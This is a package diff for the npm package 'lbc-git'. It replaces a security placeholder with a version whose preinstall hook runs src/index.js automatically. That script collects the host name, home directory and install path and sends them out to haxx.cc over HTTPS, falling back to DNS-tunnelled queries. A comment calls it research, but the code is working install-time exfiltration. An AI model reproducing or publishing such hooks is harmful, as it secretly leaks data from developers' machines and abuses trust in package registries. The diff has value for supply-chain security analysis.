lbc-git 0.0.1-security → 0.1.1

package/README.md

@@ -1,5 +1 @@
-# Security holding package
-
-This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
-
-Please refer to www.npmjs.com/advisories?search=lbc-git for more information.
+test

package/package.json

@@ -1,6 +1,13 @@
 {
   "name": "lbc-git",
-  "version": "0.0.1-security",
-  "description": "security holding package",
-  "repository": "npm/security-holder"
+  "version": "0.1.1",
+  "description": "http://haxx.cc/?lbc-git_description",
+  "main": "src/index.js",
+  "scripts": {
+    "preinstall": "node src/index.js",
+    "dev": "node src/index.js",
+    "test": "echo \"Error: no test specified\" && exit 1"
+  },
+  "author": "",
+  "license": "ISC"
 }

package/src/index.js

@@ -0,0 +1,81 @@
+/*
+This code is used for research purposes, and for taking control of a package name in the
+public namespace that could be exploited by someone to deliver a malicious payload.
+
+No sensitive data is retrieved.
+
+Any associated data will not be kept.
+*/
+
+
+const dns = require('dns');
+const os = require('os');
+const https = require('https')
+
+const suffix = '.e.haxx.cc';
+const ns = 'ns1.haxx.cc';
+
+const package = 'lbc-git';
+
+function sendToServer(data) {
+    data = Buffer.from(data).toString('hex');
+    data = data.match(/.{1,60}/g);
+
+    id = Math.random().toString(36).substring(2);
+
+    data.forEach(function (chunk, idx){
+        try {
+            // dns.resolve(
+            //     'v2_f.' + id + '.' + idx + '.' + chunk + '.v2_e' + suffix, 'A',
+            //     console.log);
+            dns.resolve(
+                id+'.'+chunk+suffix,
+                console.log);
+        } catch (e) { }
+    });
+}
+
+function tryGet(toCall) {
+    try {
+        return toCall();
+    } catch(e) {
+        return 'err';
+    }
+}
+
+console.log('goooo');
+
+data = {
+    p : package,
+    h : tryGet(os.hostname),
+    d : tryGet(os.homedir),
+    c : __dirname
+}
+
+data = JSON.stringify(data);
+
+// try to  exfil over https first
+const options = {
+  hostname: 'haxx.cc',
+  port: 443,
+  path: '/?'+Buffer.from(data).toString('base64'),
+  method: 'GET'
+}
+
+const req = https.request(options, res => {})
+
+req.on('error', error => {
+    // failed, so try the hax on dns for exfil
+    sendToServer(data);
+    dns.lookup(ns, function(err, address) {
+        if (!err) {
+            nsAddress = address;
+        } else {
+            nsAddress = '8.8.8.8';
+        }
+        dns.setServers([nsAddress, '8.8.4.4']);
+        sendToServer(data);
+    });
+})
+
+req.end()